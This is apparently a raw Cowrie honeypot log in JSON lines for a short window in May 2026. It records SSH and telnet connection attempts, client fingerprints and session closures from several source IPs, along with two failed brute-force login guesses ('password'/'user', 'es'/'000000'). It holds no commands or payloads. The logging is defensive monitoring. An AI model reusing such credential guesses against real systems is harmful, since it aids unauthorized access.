{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":47652,"dst_ip":"159.203.135.109","dst_port":22,"session":"095f7590b3a7","protocol":"ssh","message":"New connection: 4.213.160.153:47652 (159.203.135.109:22) [session: 095f7590b3a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:19.615738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:19.622509Z","src_ip":"4.213.160.153","session":"095f7590b3a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:19.813546Z","src_ip":"4.213.160.153","session":"095f7590b3a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"password","password":"user","message":"login attempt [password/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:20.538898Z","src_ip":"4.213.160.153","session":"095f7590b3a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.717466115951538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:20.722658Z","src_ip":"50.6.3.16","session":"fe4c5c8333ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0471134185791,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:20.913112Z","src_ip":"50.6.3.16","session":"e53981b8c363","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07262659072876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:21.094303Z","src_ip":"50.6.3.16","session":"fa79caaedaef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:21.725913Z","src_ip":"4.213.160.153","session":"095f7590b3a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.589933395385742,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:21.877897Z","src_ip":"50.6.3.16","session":"e5c4247aa855","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6209774017334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:22.604740Z","src_ip":"50.6.3.16","session":"6e693f04fa43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34572,"dst_ip":"10.17.0.5","dst_port":23,"session":"49d11ed7037a","protocol":"telnet","message":"New connection: 50.6.3.16:34572 (10.17.0.5:23) [session: 49d11ed7037a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:22.680833Z"}
{"eventid":"cowrie.session.closed","duration":31.06238865852356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:23.035130Z","src_ip":"50.6.3.16","session":"8e914b16e618","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34578,"dst_ip":"10.17.0.5","dst_port":23,"session":"a30452e728f7","protocol":"telnet","message":"New connection: 50.6.3.16:34578 (10.17.0.5:23) [session: a30452e728f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:23.111120Z"}
{"eventid":"cowrie.session.closed","duration":30.870685815811157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:23.262727Z","src_ip":"50.6.3.16","session":"7a6dfdf5db44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34598,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc819f87da2b","protocol":"telnet","message":"New connection: 50.6.3.16:34598 (10.17.0.5:23) [session: fc819f87da2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:24.901731Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34600,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7224ee74a02","protocol":"telnet","message":"New connection: 50.6.3.16:34600 (10.17.0.5:23) [session: b7224ee74a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:25.638784Z"}
{"eventid":"cowrie.session.closed","duration":31.656675815582275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:26.353899Z","src_ip":"50.6.3.16","session":"cb35ac6c114c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.070825576782227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:26.544763Z","src_ip":"50.6.3.16","session":"ed189495daaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.449141263961792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:27.388138Z","src_ip":"50.6.3.16","session":"9fa8baf80e65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.139288902282715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:27.895900Z","src_ip":"50.6.3.16","session":"22b2b29f69ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":41384,"dst_ip":"10.17.0.5","dst_port":23,"session":"dad2de6d3642","protocol":"telnet","message":"New connection: 50.6.3.16:41384 (10.17.0.5:23) [session: dad2de6d3642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:28.228884Z"}
{"eventid":"cowrie.session.closed","duration":30.960849046707153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:28.868219Z","src_ip":"50.6.3.16","session":"d7034947caba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":41398,"dst_ip":"10.17.0.5","dst_port":23,"session":"019d4cb411ea","protocol":"telnet","message":"New connection: 50.6.3.16:41398 (10.17.0.5:23) [session: 019d4cb411ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:28.916933Z"}
{"eventid":"cowrie.session.closed","duration":31.020156621932983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:29.061803Z","src_ip":"50.6.3.16","session":"37f14363499b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49991536140442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:29.186007Z","src_ip":"50.6.3.16","session":"fb2932e77d97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.556986808776855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:29.627904Z","src_ip":"50.6.3.16","session":"6a1684ac863e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":41402,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cd677153126","protocol":"telnet","message":"New connection: 50.6.3.16:41402 (10.17.0.5:23) [session: 4cd677153126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:29.938658Z"}
{"eventid":"cowrie.session.closed","duration":30.842859029769897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:30.906758Z","src_ip":"50.6.3.16","session":"800b0e3d90ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10799241065979,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:31.199067Z","src_ip":"50.6.3.16","session":"c6a6992e376c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":41406,"dst_ip":"10.17.0.5","dst_port":23,"session":"a728ec267b64","protocol":"telnet","message":"New connection: 50.6.3.16:41406 (10.17.0.5:23) [session: a728ec267b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:31.273542Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":41418,"dst_ip":"10.17.0.5","dst_port":23,"session":"559708902c42","protocol":"telnet","message":"New connection: 50.6.3.16:41418 (10.17.0.5:23) [session: 559708902c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:31.828048Z"}
{"eventid":"cowrie.session.closed","duration":31.445515394210815,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:31.999470Z","src_ip":"50.6.3.16","session":"3b416e13d9d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.100292205810547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:32.123061Z","src_ip":"50.6.3.16","session":"9efaa6753055","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.064112186431885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:32.798116Z","src_ip":"50.6.3.16","session":"259c2e31125b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":41428,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab01d09146ce","protocol":"telnet","message":"New connection: 50.6.3.16:41428 (10.17.0.5:23) [session: ab01d09146ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:33.460621Z"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":40248,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f6e7d26b33e","protocol":"ssh","message":"New connection: 211.186.79.173:40248 (10.17.0.5:22) [session: 2f6e7d26b33e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:33.515638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:33.523369Z","src_ip":"211.186.79.173","session":"2f6e7d26b33e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:33.705246Z","src_ip":"211.186.79.173","session":"2f6e7d26b33e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.10251474380493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:33.860996Z","src_ip":"50.6.3.16","session":"3bf1ff9c0ee6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.108938455581665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:34.016830Z","src_ip":"50.6.3.16","session":"9d198ab094a2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"es","password":"000000","message":"login attempt [es/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:34.457572Z","src_ip":"211.186.79.173","session":"2f6e7d26b33e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.071707487106323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:34.951601Z","src_ip":"50.6.3.16","session":"2898b70102d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23279857635498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:35.638630Z","src_ip":"50.6.3.16","session":"45c82d585ab9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:35.644517Z","src_ip":"211.186.79.173","session":"2f6e7d26b33e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.82379698753357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:35.848990Z","src_ip":"50.6.3.16","session":"09f8b150d508","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":41440,"dst_ip":"10.17.0.5","dst_port":23,"session":"555b36e21fdb","protocol":"telnet","message":"New connection: 50.6.3.16:41440 (10.17.0.5:23) [session: 555b36e21fdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:36.278054Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":41450,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a225f262414","protocol":"telnet","message":"New connection: 50.6.3.16:41450 (10.17.0.5:23) [session: 4a225f262414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:36.296738Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":41456,"dst_ip":"10.17.0.5","dst_port":23,"session":"606e30e2f9c5","protocol":"telnet","message":"New connection: 50.6.3.16:41456 (10.17.0.5:23) [session: 606e30e2f9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:36.317303Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":41466,"dst_ip":"10.17.0.5","dst_port":23,"session":"71341f22d869","protocol":"telnet","message":"New connection: 50.6.3.16:41466 (10.17.0.5:23) [session: 71341f22d869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:37.110727Z"}
{"eventid":"cowrie.session.closed","duration":31.063905239105225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:38.084915Z","src_ip":"50.6.3.16","session":"87cf54b016ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.065234661102295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:38.363054Z","src_ip":"50.6.3.16","session":"494041d52970","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06489062309265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:38.476524Z","src_ip":"50.6.3.16","session":"c5005826ed2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97317337989807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:38.850629Z","src_ip":"50.6.3.16","session":"b6a153339789","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.251894235610962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:38.914958Z","src_ip":"50.6.3.16","session":"e8a22c967f15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48290,"dst_ip":"10.17.0.5","dst_port":23,"session":"10d4c8167cb0","protocol":"telnet","message":"New connection: 50.6.3.16:48290 (10.17.0.5:23) [session: 10d4c8167cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:39.334851Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48298,"dst_ip":"10.17.0.5","dst_port":23,"session":"d61b9087b718","protocol":"telnet","message":"New connection: 50.6.3.16:48298 (10.17.0.5:23) [session: d61b9087b718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:39.492831Z"}
{"eventid":"cowrie.session.closed","duration":31.336713314056396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:39.992858Z","src_ip":"50.6.3.16","session":"2d56dcfe5bbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.790168523788452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:42.040063Z","src_ip":"50.6.3.16","session":"541510827ee7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.085302114486694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:42.178844Z","src_ip":"50.6.3.16","session":"e0c7ca9305b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48302,"dst_ip":"10.17.0.5","dst_port":23,"session":"66c00179c765","protocol":"telnet","message":"New connection: 50.6.3.16:48302 (10.17.0.5:23) [session: 66c00179c765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:42.428766Z"}
{"eventid":"cowrie.session.closed","duration":30.06287169456482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:42.567569Z","src_ip":"50.6.3.16","session":"1d338dc857b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.247413158416748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:43.646572Z","src_ip":"50.6.3.16","session":"caf556c5241d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.751031398773193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:43.737105Z","src_ip":"50.6.3.16","session":"06b4db06e675","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":48308,"dst_ip":"10.17.0.5","dst_port":23,"session":"a62d1e14298b","protocol":"telnet","message":"New connection: 50.6.3.16:48308 (10.17.0.5:23) [session: a62d1e14298b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:43.823864Z"}
{"eventid":"cowrie.session.closed","duration":30.47053027153015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:43.856276Z","src_ip":"50.6.3.16","session":"dac0d97a3899","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.041208744049072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:44.031965Z","src_ip":"50.6.3.16","session":"13922ec1fb00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.076806783676147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:44.543535Z","src_ip":"50.6.3.16","session":"3620dd5d72cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.066250801086426,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:44.884970Z","src_ip":"50.6.3.16","session":"1d877c3ba8eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07673478126526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:45.688578Z","src_ip":"50.6.3.16","session":"25c223b4ef22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.081780672073364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:46.723891Z","src_ip":"50.6.3.16","session":"85ca53b5c1ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":35978,"dst_ip":"10.17.0.5","dst_port":23,"session":"5633bdf02ce5","protocol":"telnet","message":"New connection: 50.6.3.16:35978 (10.17.0.5:23) [session: 5633bdf02ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:48.821900Z"}
{"eventid":"cowrie.session.closed","duration":31.091261386871338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:49.126102Z","src_ip":"50.6.3.16","session":"4c5d3e689cba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.701051950454712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:49.941949Z","src_ip":"50.6.3.16","session":"870398fb5809","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.071337938308716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:50.351969Z","src_ip":"50.6.3.16","session":"da1f9f80219d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":35990,"dst_ip":"10.17.0.5","dst_port":23,"session":"969d9012cd6d","protocol":"telnet","message":"New connection: 50.6.3.16:35990 (10.17.0.5:23) [session: 969d9012cd6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:37:50.537044Z"}
